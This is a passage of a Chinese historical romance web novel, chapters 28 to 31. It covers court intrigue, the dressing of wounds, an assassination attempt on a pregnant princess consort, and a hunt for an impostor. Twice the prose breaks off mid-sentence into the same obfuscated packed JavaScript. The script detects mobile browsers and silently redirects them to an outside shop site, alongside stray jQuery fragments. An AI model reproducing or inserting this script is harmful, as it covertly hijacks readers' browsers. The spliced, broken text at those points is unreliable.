沈祁抿唇不言,绕过徐清想走,徐清却偏不让,挡在他跟前。 “谢家左右是个大世家,未必不能拉拢,殿下为出一口恶气与之交恶,可值当?” “徐清。”沈祁语气暗含警告。 徐清不怵,微扬眉梢,一脸‘你看你也受不了’的表情,“殿下可明白我的感受了?” “我发现你这人,”沈祁气急,向徐清逼近了一步,“真是呲牙必报,小心眼。” “是,殿下不小心眼,非追了人家打一架。”徐清回讽了一句,瞧见沈祁黑了的脸,不太走心地安抚,“殿下受伤了,先处理伤口吧?” 沈祁扬了扬下巴,眼角一挑,“你给我包扎。” 徐清坐会小几后面,手上缓慢缠着细布,嘴上还是忍不住多念了两句,“想必殿下也能看出到底谁算计了谁,别自己窝气找他人撒火了。” 说到底,是她方才与柳闻依那番交谈,让她多少与之共情,如今便担忧沈祁这番行径会让谢家更不喜柳闻依。 沈祁被念得止不住拧眉,刚想说些什么,一旁忽然插进一道嗓音。 “徐四姑娘。” 坐的极近的二人同时侧首,齐予安作了一辑,直起身后看向徐清,“齐某有事想与徐四姑娘相商,可否借一步说话?” 徐清润眸微转,轻点了下头。手上最后将细布打上结后站起身,刚迈出一步,手腕猝然被一只大掌握住。 她垂首,沈祁面无表情地抬了抬另一条胳膊。 “这还有伤没包扎完,跑什么?” 28. 包扎 柳闻依看着谢晟鸣进了帐子,便止了步,站在外头看着宫人带着太医匆忙入帐。 好半晌,里面才传出谢晟鸣有些生硬的声音。 “站外面做什么?” 宫人掀开帐门,柳闻依抿了抿唇走进去。 里头谢晟鸣衣裳半敞,肩头一道尚在流血的刀痕。 柳闻依进来后只瞧了一眼便低下头,谢晟鸣见她那副样子,嗤笑一声,“柳姑娘不是见过了?躲什么?” 正写着药方的太医一抖,收了笔拱手,“小侯爷先让人用细布将伤口简单包扎一下,臣去替小侯爷抓药。” 一宫人上前接过了细布,准备上前替谢晟鸣包扎,却被他挥手屏退。一时间屋里只剩二人。 他自己拿起细布开始缠绕,嘴里毫不客气的,“柳姑娘前来寻谢某可是还有事?” “你受伤了。”柳闻依简单解释自己跟来的原因。 她知晓沈祁是因她才伤了谢晟鸣,她跟来不过是心中愧疚,也想为昨夜的事向他赔罪。 谢晟鸣左右绕不上伤口,心中有些后悔屏退了宫人。若不是想柳闻依要说些什么让人听不得,他也不必让宫人都走。 想到这,他抬眼看向柳闻依,“我为何会受伤,柳姑娘最清楚了,不是吗?” 柳闻依缄默片刻,上前从他手中拿过细布,指节相撞,谢晟鸣下意识蜷了蜷指尖。 见他不动,柳闻依轻声提醒,“小侯爷抬手。” 细布从肩头向下,盖住伤口,顷刻间便被血染红,柳闻依见状忍不住蹙了蹙眉。 表兄下手太重了。 手上轻柔给细布最后打了个结,柳闻依才低声道,“表哥是为我才伤了小侯爷,我替表哥向小侯爷赔个不是,望小侯爷万莫放在心上。” 谢晟鸣见她收了手,偏头看了眼肩上缠好的伤口。柳闻依的话入耳时,他动作一顿,似笑非笑地抬头向柳闻依看去,“柳姑娘竟先替他人赔上不是了。” 面色微凝,柳闻依语气认真且诚恳,端坐的姿态无端让谢晟鸣有一种在与她谈判的错觉。 “我知此事是我对不住你,对不住谢家。”“今日我许你一诺,日后若小侯爷有什么想要的,或需要我去做的,只要我有,我能做到,必不推辞。” 谢晟鸣冷哼一声,身子放松了些向后靠。 “至于累你姻亲之事,若小侯爷心上有人,我可出面与其解释我与小侯爷之间并未有过夫妻之实。”柳闻依话落,面色略有纠结地瞧着谢晟鸣,试探道,“小侯爷……可有心仪之人?” 谢晟鸣斜睨她一眼,有些不耐,“无。” 柳闻依闻言暗松一口气。 若谢晟鸣有心上人,她一杯药酒下去算计的就不止谢晟鸣一人了,这因果太重,柳闻依心觉自己承受不起。 “三年,我只要三年。”柳闻依续道,“三年后,小侯爷可随时予我一纸和离书,哪怕休妻亦可。” “那若是这三年间,我有了心悦之人呢?柳姑娘当如何?” 柳闻依止语不答。半晌,她平静从容地陈述,“三年,也是小侯爷重振谢家门楣,东山再起之期。” 面上微讽的笑意一滞,他冷嗤,“谢某还以为柳姑娘是迫不得已才找上某,不想原来柳姑娘一早便盯上某了。” “确也是迫不得已。小侯爷昨夜也听见了,钟皓闯我帐子是受皇后娘娘之命,娘娘也曾多次提及我的婚事。给小侯爷下药实乃无奈之举,只是谢家与柳家都是已被削权疲落了的世家,我们结合,陛下不会防备。” 谢晟鸣一双黑眸直直瞧着她,追问道:“既是如此两全其美,有利无弊之法,柳姑娘为何不先与谢某商议?届时三书六聘,不更体面?” 话刚落地,柳闻依似是苦笑又似自嘲般,“小侯爷怕是忘了曾说过此生绝不会娶我的话了。” 谢晟鸣确实不知晓自己竟曾说过这样的话。柳闻依十年前便自请入寺,在他的记忆中,过往十多年他们二人应是从未见过的。 可柳闻依记得,那是在她向皇上自请入寺祈福的前几日,那时姑母已辞世半载,丁枣儿封后,执掌凤印。那年她不过八九岁,丁枣儿见她第一眼,便想让她与沈郗做妾。 她父亲自姑母仙逝后便一蹶不振,仿若被诸多尘事压垮,一夕苍老。丁枣儿筹谋折辱她时,柳相卧病在床,护不住她。 就在柳闻依六神无主之时,企图向神明祷告以求心安时,她在大慈恩寺遇上了刚丧母不久的谢晟鸣。 许是母亲离世的打击过大,又或者是些其他的什么。她那时第一次见他,瞧着那张同她一般仍青涩稚嫩的脸庞,脑中想的便是若她有了婚约,丁枣儿便不能用姻亲来折辱她。 她那时尚年幼,又急于拜托当下的困境,便顾及不得谢晟鸣刚丧母之痛。 谢晟鸣拒绝了她,双眸有大哭后的红,他眸中燃着怒火,像是被柳闻依的结亲提议冒犯到,声音也因为这股愤怒而不自觉的扬高,“我的姻亲绝不会为了利益而联结!我绝不会娶你!” 说完便拂袖而去,徒留柳闻依一人站在原地。 山间的风吹过她的发梢和裙摆,叫她无端打了个颤。 她看着谢晟鸣远去的背影,心中一片绝望。 直到她游魂般在大慈恩寺里乱转,碰上了早在柳青瓷死后便以祈福之名来到大慈恩寺清修的柳青烟。 柳闻依一见她便怯怯唤了声“大姑母”。 柳青烟却没应,只是平静的瞧着她,又用同样平静的嗓音说了一句“与阿瓷真像啊。” 这句话给柳闻依新指了一条路,迷雾散去,拨云见日。 柳闻依在大慈恩寺多住了几天,回城后便立即进宫,在丁枣儿前头向皇上自请入寺伴柳青烟左右。 此后十年,她再未出寺半步。只是谢晟鸣那句话却像是刻在她脑中般,时而想起。 谢晟鸣想问,帐外带着太医开好的外敷药回来的宫人已候着,正轻声询问可否进来。 柳闻依也没他问的机会,起身后径直往外走。帐门撩起,她与端着药的宫人错身。 这头的二人是已话毕。而徐清那头,场面却实在难言。 沈祁话落时,徐清随手点了个最近的宫人,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157532|147705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她帮沈祁包扎后便准备绕过小几。可手腕上的力却半分不松,扯着她连步子都迈不开。 沈祁呢,也就拽着她不说话。场面便这样凝固住。 赶巧了钟珣奕这时也刚策马回来,他本也是来找徐清。钟皓如今被皇上下令看押起来,他听闻些消息,知晓昨夜里徐清也在,便想来问问到底发生了何事。 只是他下马走近后方感觉到这的氛围,一时踌躇。徐清却这时看了过来,她手上挣脱不得,只能眼神询问他何事。 他拱手作了一辑,迟疑道,“钟某有事想向徐姑娘讨教,不知……徐姑娘现下可得空?” 徐清闻言牵了牵嘴角,笑着回道,“正巧齐世子亦有事寻我,钟公子需等我片刻。” 她一面说着,一面手上暗自用力。 可沈祁那只手像是铁钳般,怎么也睁不开。 钟珣奕侧首看了眼齐予安,道了声“好”后,便先寻了个位置坐下等待起来。 齐予安也站在一旁,颇有耐心地看着徐清沈祁二人较劲。 “殿下松松力吧,待会刚包扎好的伤口又崩开了。”徐清实在无法了,只得问他,“这只手伤哪了?” 沈祁不答亦不动,徐清只好矮身解开他另一只手的护腕,掀起袖口。 只这一眼,她便真沉默了。 沈祁确实没骗她,这只手的小臂处有一道似箭头擦过留下的伤,只是这伤既不大也不深,伤口表面只有一层已干涸了的血。 这伤口于习武之人来说,莫说要上药包扎了,怕是都不曾会注意到它。 徐清没好气地放下他的袖子,嘲他,“殿下这伤口,怕是等我与齐世子商讨完事回来,便已经好全了。” 沈祁瞪眼,唇瓣张了张,徐清一个弯腰凑到他耳边截断他的话,“殿下不是说了,齐家是个可拉拢的?” “松手。” 手腕上的那道力终于松开,徐清又取了一条细布,到底帮他把伤口缠上了。 手上一边动作,徐清还是不放心地又叮嘱他,“晚点我另有事,恐夜半才归,殿下可莫要再去找谢小侯爷的麻烦,柳姑娘有自己的打算,殿下一再出手只会让她的处境更艰难。” 她说完,沈祁也不吭声,只垂眼抿着唇,伸手一把躲过徐清手中的细布,自己缠绕起来。 见他默不吭声,但到底听进去了,徐清这才起身和齐予安一同走到林间无人的僻静之路。 沈祁在她起身时就停下了绕缠细布的动作,直到徐清走到齐予安身旁时,他才有些迷茫地抬眼看向她的背影。 他本不是意气用事之人,自然也能看出是柳闻依出手主导了一场局反将了丁枣儿一军,谢晟鸣在这场局中确实无辜。谢家虽表面无权,但未必不可能藏拙以待来日。 这些他心中都自有计较,可就是徐清越与他分析利弊,叮嘱他别妄动,他就越想逆着她来。 真是魔怔了。 沈祁有些恍惚地撑着额头,闭上眼。吓得一旁的太医赶忙问他是否有其他不适。 他摆了摆手,也不再管那还未缠绕好打上结的细布。 29. 二十九 意欲何为 栖枝徐泽行往江南半途时,齐阳王才收到小女儿找到了的消息。 他惊喜交加,恨不得立刻动身前往京城。 可他不能。 反反复复将齐予安寄来的书信看了三四遍,他思忖片刻,抬笔字字斟酌地写了一封饱含诚挚的信笺送往京城。 最后这封信笺辗转送至徐清书案,徐清却没有任何回复。 今日齐予安来找她,也是为了这事。 “齐世子想说什么?” 齐予安神色微顿,转过身,拱手在徐清面前深深弯下腰,语气诚恳认真,“先前在宫中,齐某因急于认回小妹出言冒犯,在此向徐姑娘赔罪。” 徐清没说话,心中也不想承他这份赔罪。 那日齐予安在大殿里公然说出栖枝是齐家自小走失的幼女时,就是想以皇权胁迫她放弃栖枝。 陛下不会让即将有两位天家媳的徐家与手握军权的齐家走近,自然会切断栖枝这个中间线。 若陛下听了齐予安的话强硬让栖枝认祖归宗,从此徐家与齐家便是结下梁子了。 故而齐予安敢公然在帝王的寿宴上求陛下替他们做主。只是没想到沈祁和沈郗都站出来提了个折中的法子,暗中玄机种种,陛下顺坡而下便一锤定音。但沈郗提出的法子看似折中,实则也是让两家结了仇。 而徐清毫不掩饰地送栖枝同徐泽一道回江南徐家成婚,定会惹怒齐家。这正也是陛下想要的。 但齐阳王的那封信笺里,表达却不是怒火。他陈述了他对徐家抚养女儿十几年的感激,作为栖枝亲父,他亦同意与徐家结亲,并承诺徐家日后若有需要,尽可向他提。 齐阳王的让步出乎徐清的预料,她本以为要与之周旋许久,也做好了周旋的准备。但最后徐清没有回信,只因这封信笺背后的意思,是徐家愿意放栖枝认祖归宗。 从此栖枝仍是徐家人,却是为齐家女,徐家妇。 栖枝不想认,徐清不会违背她的想法。 她冷瞧着深弯着腰的齐予安,“齐世子不必如此,若你想作为兄长送栖枝出嫁,今日出发,日夜兼程,大抵能在他们大婚那日赶到。” “只是栖枝是否愿意齐家人去,就不得而知了。” 齐予安缄默,保持着躬身的姿势,半晌才低声道,“徐姑娘先前并未与我们说婚期。” “这是栖枝的意思。” 一招将军,齐予安没了话。 他想起当年小妹走失前,齐家发生的事。这些年来,他一直想,是不是因那件事,小妹才会不顾一切地跑走,直到他们反应过来时,却再也找不到她了。 林间的冷风吹过,一阵窸窸窣窣的声响。 “徐姑娘,”齐予安的脊背又向下压了压,“日后齐家便与姑娘在一条船上了,望姑娘替齐某带句话给小妹,齐某并齐家众人往后不会轻易打搅她,且……” 他话一顿,语调沉哑下来,“且那人之子早已被我与行安送走自生自灭,我与她二哥同她一般心情,这些年…也一直念着她。” 徐清拧眉,不懂这如同打哑谜一般的话究竟何意。但她没有追问,只看着齐予安直起身子,再转身离开,脑中却在回想幼年刚将栖枝带回徐家时。 那年外祖父兰砚初与外祖母林蓉双刚和离,外祖父是个极有闲情雅致的人,少年时最爱游山历水,吟诗作画,也正是如此,才在游历进京时邂逅了为高门贵女的外祖母。 成婚后的外祖父定居不再出远门,直至膝下儿女皆成了家,外祖母林蓉双和离回京。许是心中烦闷痛苦,他又有了寻山问水之心。 那时徐清尚小,不过五六岁的年纪,闹着要跟去,兰砚初便带上了她,一路西行,来到刚结束了与西陵恶战的边陲。 就是在这里,她见着了满脸尘土,衣裳破烂,同样年幼的栖枝。彼时她不愿说话,兰砚初问她姓甚名谁,家住何方,她一概不答。 最后兰砚初无奈一同捎上了她同行。 战争最是残酷,胜利或是失败,背后皆是战士们的白骨累累,百姓们的流离失所。 一路上,徐清随着兰砚初见了许多失去了亲人失去了家,一路流浪的人。她便觉得,栖枝兴许也是在战争中失去了父母的可怜人,于是她央求兰砚初将栖枝一同带回江南,免得她如此年幼便四处奔逃。 那时兰砚初瞧了栖枝许久,最后不知是想到了什么,答应了下来。 从此栖枝养在了徐家,与她一同长大。 栖枝这个名字是她到徐家许久后,某日徐清不经意一问,她自个儿说的名。那时徐清惊喜于她竟真会说话,却万万没想到,原来栖枝不叫栖枝,而叫齐韫安。 只是时过境迁,往事难追,其中种种,难言矣。 她叹出一口气,记下了齐予安的话,想着回去便写一封信寄去江南。身后这时传来脚步声,她应声回身,见是钟珣奕,这才想起方才他也曾说有事寻她。 她扬起一抹浅笑,福了一礼,“钟公子。” “徐姑娘。”钟珣奕躬身拱手,起身后解释道,“我瞧见齐世子从林间出去,想必你们二人已话毕,便自己先一步来寻姑娘。” 徐清点头表示了然,“钟公子是有何事?” “某想知晓昨夜可是发生了何事?听闻徐姑娘那时也在。” 想起肥头大耳的钟皓,徐清皱了皱眉,笑意微敛,“钟公子是想问钟皓为何被扣押起来吧?” “事关她人,我无法告知钟公子究竟发生了何事。只能告诉钟公子千里之堤,溃于蚁穴。与其想着如何保下族中败类,不如早些清理门户。” 许是觉得钟珣奕是个君子,即使站在对立面,徐清仍旧出言规劝。 但也只能言尽于此。 “徐……”钟珣奕见徐清话毕后,径直转身离开,下意识想唤住她。 只是徐清在他出声时已走出距离,他只好收了声。 徐清并没有回营地,而是一路往林深处走。 她昨夜便收到了李月时的信,邀她今日相见。 一路疾行,林间的黄沙将她脚上的重台履都覆上一层尘土。 远处一道玄色身影正百无聊赖地靠着树干,一条腿不住地搓着脚下的沙地,嘴里还叼着不知从哪衔来的狗尾巴草。 “诶哟,您可真难等,再晚些来这天可就黑了。”李月时一瞧见她,嘴里便吐出阴阳怪气之语。 徐清也有些无奈,她本想在营地坐上一会儿,便寻个借口溜走。谁曾想与柳闻依你来我往完,沈祁带伤回来了,后头还跟着齐予安和钟珣奕有事寻她。 一个接一个的,一不留神就耽搁到了现在。 她笑着上 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“萧云年找不到害了周惊山的人,却是去见了那周惊山的未婚妻子。” 徐清见她坐了下来,便自己靠在了树的另一侧。 “你可还记得,你在城郊同我说起这事时,我说想起了一件怪事。” 李月时抬头,侧眼去看她,心下竟隐隐有些预感此事并不对劲,而徐清像是知晓些什么,她问:“怎么?” “那时我去信与你,让你助我将女子失踪的事情在各地闹得大一些,你可还记得?” “记得,后来你为了感谢我还承诺送我酒呢。” “是。”徐清嗔了她一眼,续道,“周惊山的未婚妻萍娘就是被拐的女子之一,萍娘助我破了局,是我派窈音送回庐州的。” “那与周惊山有何关系。” “说来也巧,我那时将萍娘救了出来,正想着如何将此事在京城闹大时,有一布衣找上了我,自称能帮我。” “他说,他名叫周惊山。” 李月时顿时一惊,反应了须臾后,又有些迟疑,“你是说,周惊山没死?可我亦亲眼教过我周惊山的尸/体,或许是重名了?” 徐清面色有些寡淡,眉目间又像风雨欲来之意,“你方才说,周惊山的尸/体有被救治过的痕迹,我猜,是有人途遇了受害的周惊山,想救他却因他身上受伤过重而无力救回他。” “而周惊山临死前还挂念失踪许久的未婚妻子,便恳求那人进京替他告御状。那人答应了,便顶了周惊山这个身份一路进京,然后——” “找上了我。” “这人……”李月时眉宇紧缩,直觉不对却又说不上来,只能不确定道:“还是个好人?” 徐清勾了勾唇角,“是好人亦或是恶人暂不可知,但可以知道的是,这假的周惊山,是冲我来的。” “此次武比,是他将小满和燕琼诓去的。” “什么!”李月时瞳孔不自觉地睁大,猛的一下站了起来,“他这么做,意欲何为啊?” “我亦想知,他三番五次找上我和我的人,到底想做什么?”徐清转身认真地看向李月时,“劳你替我给萧云年带句话,道我可以助她找到杀害了周惊山的人,但望她帮我找到这假的周惊山。” 30. 三十 皇长孙 马车驶进京城时,徐清斜倚着靠枕,面色难掩苍白。 宽大的官绿色广袖下,一截白色细布露出了个角。 马车停在兰府外,歌槿撩开帘子,小心翼翼地将徐清扶下来。 钟芸熙的贴身婢女站在马车旁,垂头福了一礼。 “我家娘娘感念徐四姑娘舍身相救,望徐四姑娘好生修养,若有需要,可随时派人来盛王府找娘娘。” 徐清扯了扯毫无血色的唇,“王妃言重了。如今回了京,娘娘可安心养胎了,不必忧心我。” 那婢女浅笑道,“徐姑娘危急时分肯不顾自身,替娘娘挡下那一刀,保住了小皇孙,是盛王府上下的恩人,自然是要忧心的。” “王妃如今身子需要将养,又一路颠簸,不便下来,不然娘娘定要亲自过来谢过徐姑娘的。” 徐清抿着唇淡笑,“无妨,娘娘的身子要紧。 那婢女躬身又行一礼,不再多说,转身回到钟芸熙的马车旁。 车轮滚滚,拐过了街角,消失在视线中。 歌槿见人走了,扶着徐清小心的往府里走,嘴里还心疼的抱怨着,“姑娘不方便动武,见到刀来了也不躲。这也便算了,姑娘还冲上去替盛王妃挡一刀。” 徐清笑着拍了拍她的手,“盛王妃怀着身子呢。” “那又如何?”歌槿愤愤地抬眼,“她肚子里是皇长孙,与我们而言又无甚好处,你自个儿也瞧见了,盛王妃被诊出喜脉时,那皇后娘娘有多高兴,这一遭下来,我们的处境不是更加艰难。” “有什么艰难的?”徐清被扶着踏上石阶,走上游廊,“我们现在不是挺好?” “哪好了?再过几月,你和二姑娘嫁入皇家,日日与人尔虞我诈,想想就糟心,还是在江南的时候好。” 徐清忆起在江南无忧无虑的日子,面上笑容淡了下来。 “这京城真的不是个好地方,自打咱们进京来,姑娘就在不停地受伤,上回伤了手,这回更是连着肩膀伤到小臂。” 走进屋内,歌槿扶着徐清坐下后,手又轻又小心地褪下她肩头的衣裳。细布被伤口渗出的血染红,看得歌槿又是一阵眼热。 转身拿了药,慢慢揭开细布,嘴里还是止不住地念叨:“姑娘就多此替盛王妃挡那一刀,这皇长孙来的不是时候,几家都虎视眈眈的。那日除了皇后娘娘和盛王,谁的脸色都不好看,这孩子总有一劫,未必生的下来。”“谁知道路上那几波人是谁派来的?要我说啊,说不定就有静王派来的人,姑娘挡这一刀,若是让静王与姑娘生了嫌隙,岂不是得不偿失?” 徐清无奈偏首嗔她一眼,“你啊,这嘴里没个把门的,皇长孙有谁敢害?不许胡说。”歌槿瘪了瘪嘴,不再言语,只专注地盯着手上的动作。 徐清见她安静了,笑着垂首,脑中却是说着歌槿的话想起了那日。 那夜钟芸熙从林间回来后便觉得身子十分不适,道是小腹胀痛不止,走动都有些艰难。 丁枣儿当场便使人去唤太医过来。 那时已日暮西垂,众人都从林间卸马归来,而沈祁更是自打徐清离开后便坐在那没再动过。 是而太医一摸钟芸熙的脉象,朝帝后弓腰拱手,喜贺道:“恭喜陛下,恭喜娘娘,盛王妃这是喜脉啊。”时,周遭忽的静了下来。 那时徐清方从李月时那回来,乍一听这话,下意识去看沈祁,便见沈祁也是一怔,而后眉头紧锁起来。 “天大的好事!”丁枣儿一声喜呼,让众人都回了神,一个接一个地向帝后和盛王拱手道喜。 钟芸熙在这一片道贺声中,轻声问太医:“我为何会腹痛不止,可是孩子出了什么问题。” 这一问让丁枣儿立刻紧张起来。 太医道:“许是王妃娘娘这几日纵马伤到了身子,如今胎象不稳,需要静养。” “这……”丁枣儿闻言一时束手无策,转头看向一直沉默着的皇帝。 “既需要静养,明日盛王妃便先行回京吧。”说着,黑沉的眼珠一转,正落在徐清身上,“朕记得徐四这几日也身子不适,还有那伤了腿一直待在帐子里的……” 手抬起虚空点了几下,像是在回想,“兰二,是吧?明日都一道先回京吧,朕派一队人马护送你们。” 被点了名的徐清,回神与钟芸熙一道福身谢恩,“谢陛下。” 钟芸熙被婢女扶着会帐子,太医挎着药箱,亦步亦趋地跟上。 而徐清直了身子,一转头对上了沈祁黑压的漆瞳。 歌槿离开徐清的屋子前,还千叮咛万嘱咐地同徐清道夜里翻身千万小心,不可压到伤口。 “我知晓了,你放心吧。”徐清坐在塌上,抬起未受伤的那只胳膊挥了挥,“快去将小满和燕琼安顿了。” 歌槿瞧着她的动作又一阵心惊,直让他放下胳膊,才走出去阖上了门。 徐清见她走了,站起身来活动了一下。歌槿自打她受伤后便不许她做大动作,走哪都要扶着她,生怕她扯了伤口让伤更加严重,明明她腿也没伤着。 弄得她这几日下来,觉得自己身上都要锈了。 她走到桌前,执起茶壶刚倒出一杯茶,窗台那突然传来动静,像是有人用小石子不停地砸向窗框。 徐清定定看着窗台,窗外的人似乎完全没有停歇意思。 她走过去推开窗,看见了手里正抛着小石子准备再砸过来的沈祁。 “殿下这是在做什么?” 沈祁举着石子的动作顿住,黑漆漆的瞳在夜色里竟有些亮光,直直地向徐清看来。 场景似乎一下被拽回了徐清从盛王府回来,沈祁一路跟来,最后翻墙进来的那日。 唯一不同的大概是,那时是青天白日,如今是星幕低垂,万籁俱寂。 沈祁在看她的时候,她也在回看沈祁。 眼睛上上下下将他扫视了一圈,最后凝在占满了尘土的鞋履和衣摆上。 沈祁感觉到她的视线,有些不自然地将手中的碎石往旁边一丢,抬步走近,霎时间脏污的部分被窗框挡住。 “伤可好些了?”沈祁双手撑在窗台外,目光落在她受伤的肩头。 “殿下怎么知道?”徐清诧异一瞬,“那些人真是殿下派来的?” 沈祁听了她的话视线一顿,疑惑地移回到她面上,随后反应过来徐清的意思,气急地低喝,“徐清!” 徐清莫名被凶了一下,茫然地看着他。 沈祁见她这幅样子气差点的一口气没上来。 他从听闻徐清替盛王妃挡刀受了重伤后便从骊山一路策马急赶回京,没想到一回来便被质疑是不是他心狠手辣,派人对刚有了身子的皇嫂痛下杀手。 “不是殿下?”徐清瞧着他的脸色,试探地问了一句。 谁料这句话问完,沈祁面色倒是越来越难看,比这天上的夜色还黑的浓稠。 她忙改口,“我就知晓不是殿下。” 沈祁脸色并没有好几分,倒是从鼻腔里哼出一声,摆明了不买账。 伤口隐隐作痛,徐清懒得哄人,调整了下站立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176963|147705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姿势,语调淡淡,“不是殿下便不是,就算是殿下,那亦可理解,殿下好端端地又气什么?” 闻言,沈祁一愣。 是啊,他气什么。 思绪一转,他看着徐清垂在身侧的那只受伤的手,顿时觉得自己找到了自个儿生气的原因。 “本王好心回来看看你的伤势,反被你质疑小人,不该生气吗?” 语调上扬,颇有些理直气壮的味道。 “……” 徐清沉默片刻,脸上表情有些古怪。 她本以为沈祁这时回来,是想与她谈谈这皇长孙呢。 “殿下回来,是来看我的?”徐清迟疑道。 沈祁撑着窗台的手一紧,用力地指尖都开始泛白,面上却仍旧淡定。 “好歹是盟友,本王关心关心你。” 徐清挑眉低眼,不动神色的瞥了眼他的手,而后放松了些,将没受伤的半边身子斜倚在窗台边,二人之间的距离因她这番动作瞬间拉近了不少。 “伤无大碍,静养几日就好,多谢殿下关心。” 沈祁不自觉地往后仰了仰,轻咳一声,手不知道何时掏出了两个瓷瓶放在了窗台上。 “一瓶是金疮药,能让伤口好的快些,另外有一瓶是可以去疤的。” 徐清随手拿起一瓶,刚想举到眼前仔细瞧瞧,没成想这动作一下就扯到了肩膀的伤处,她手一软,眉头皱起,唇边难以自抑一声“嘶”。 沈祁心下一紧,伸手接住她垂下来的手,有些焦急地问她:“扯到伤了?” 徐清咬牙不言,缓了一会才觉痛意退散不少。 迎上沈祁着急又担忧的目光,她摇摇头,“无碍。” 沈祁见她缓过来了,心下微松一口气,嘴上却没好气道,“叫你非要逞英雄,现在可有得受了。” “我本就会些武功,左右那些人要不了我的命,我替盛王妃挡下一刀,便让她承了我一个人情,很划算。” 沈祁轻嗤一声,“那你打算怎么利用这个人情?” 徐清慢慢从沈祁的掌心中收回手,动作小心,生怕又扯到伤口。 她淡声:“以后总用得到的,说不定能让她告诉我们些盛王府的消息。” 掌中温热消失,沈祁下意识握了握拳,却抓了把空气,心中忽觉有些空虚。听了徐清的话,开口语气仍旧有些冲,“她是傻子吗?” “我也不是傻子。”徐清直了身子,抬起未受伤的手轻扣了下窗台,颇有些不耐之意,“只是盟友而已,臣女不用做每件事之前,都将为何做这件事,目的是什么,都一一说与殿下听吧。” 话落地,沈祁哑口沉默,片刻才低声:“我不是来与你吵架的。” 这次徐清听清了他说的话,却有些疑惑。 他们何时吵架了,不是正好声好气地说着话吗。方才他那般冲地与她阴阳怪气,她都未曾觉得有什么,现下她不过说话不耐烦了些,他倒觉得她是要吵架,先委屈上了。 徐清张了张嘴,想说没想与他吵,却见沈祁先往后退了半步,垂着脑袋,语速极快道:“夜深了,你好好歇息吧,我回去了。” 转身走了两步,他停下又道了句:“记得用药。” 不等徐清应声,他匆匆走到墙根处,脚下微点,手攀上院墙,身子顺着力往上凌空,随后掌下用力一撑,整个身子便消失在了夜幕中。 唇瓣合上,徐清收回视线,垂眼看向窗台上整齐摆放着的两个小瓷瓶,轻叹一声,抬手将它们收进手中,阖上了窗。 31. 三十一 婚服 秋猎后的时间转瞬即逝,天气愈凉,京城的空中已开始飘雪。兰夫人提前遣人去做了好几身袄子和狐裘,今日送来给徐家姐妹。 “这京城的天啊,入了冬可比江南那冷得多,也干的多,这落了雪更是寒,得裹的暖暖和和的才成。” 此刻徐清屋中,兰夫人一边指挥着下人们把成衣拿进屋里头,一边笑眯眯地抚着徐清的手,“我瞧你们姐妹二人平日里着翠微色居多,便多定了几套这个颜色的,看看可喜欢?” 徐清眉眼弯弯,反握着兰夫人的手撒娇般摇了摇,“劳舅母挂心,我恨不得立刻穿上呢。” “惯会哄我。”兰夫人被她带着晃了晃身子,抬手点了下徐清的鼻尖,“打小你这张嘴就总能将人哄得欢喜,如今可真是越来越甜了。” “我可没有哄舅母,都是真心实意的。” 兰夫人摸了摸她的脑袋,笑得乐不可支,“你这丫头。” 将徐清亲昵地揉进怀里,手搭上她肩膀时,兰夫人倏而想起她肩上还有伤,脸上的笑意一下变成了担忧,“你身上的伤可好些了?” “舅母隔三差五来问一次,早已经好全啦。”徐清说着,还动了动两边肩膀,“您瞧,是真好了吧?” “好了好了。”兰夫人抬手摁住她不让她再动,“再多养养总没错,看你这小脸白的,晚些我让厨房再炖点补汤送来,务必把你这身子给养好。” 徐清心下一暖,“多谢舅母。” “好了,我去将阿妗那份送去她屋里头,你在屋里头再多歇歇。” 兰夫人拍了拍她的手,站起身,走到门外时忽的想起白日里有宫人来了府上。她脚步顿住,回身,“瞧我这记性,今儿宫里头来了人,道是你和阿妗的婚服已经裁好了,唤你们明日进宫一趟去瞧瞧,你可记着啊。” 说罢,嘴里一边念叨着“得同阿妗也说说,可不能再忘了”,一边抬步急匆匆往徐妗的院子里去。 “舅母别急,慢些走。”徐清跟了两步,扬声道。 兰夫人抬手摆了摆,带着一众端着新成衣的下人浩浩汤汤地穿过中庭,走过游廊,往徐妗的院子里去了。 徐清瞧着一行人的身影全部消失在视线才重新返回屋内。 “萧云年那可有消息?” 歌槿斟了杯热茶递给她,“萧楼主来信道,这假周惊山的行迹不定,能查到的唯有缘尘案时他来过京城,和武比前几日曾出现在骊山附近。” 掌中暖意不断,徐清微眯了下眼,一双漆眸中却寒意凌冽,“真是冲我来的。” 思忖片刻,她偏头,“你去信给萧钦年,就说我已知晓是何人杀害了周惊山。如今周家人和萍娘大抵都以为周惊山已经死了,让他和萧云年在庐州那地儿多传传周惊山没死,已经进了京的消息,引蛇出洞。” 心中有鬼之人听闻消息必定会惶恐,到时这些人必定会出手。蛇出洞了,还能帮着一同寻找假的周惊山。 一箭双雕。 “给窈音也写一封,让她护好萍娘和萍娘的家人。”话音顿了顿,徐清再次补充,“让松枝即刻去庐州协助窈音,周家人也不可有闪失,必要时需出手助萧钦年。” “好。” 歌槿应声,扭头走到桌案后,研了磨后提笔开始写信。 徐清抿了口热茶,白雾一瞬浮起模糊了她的眉眼,她扬声冲外头唤了声,“燕琼。” 门外传来脚步声,而后少年清冽微低地嗓音在屋外响起,“怎么了姑娘?” 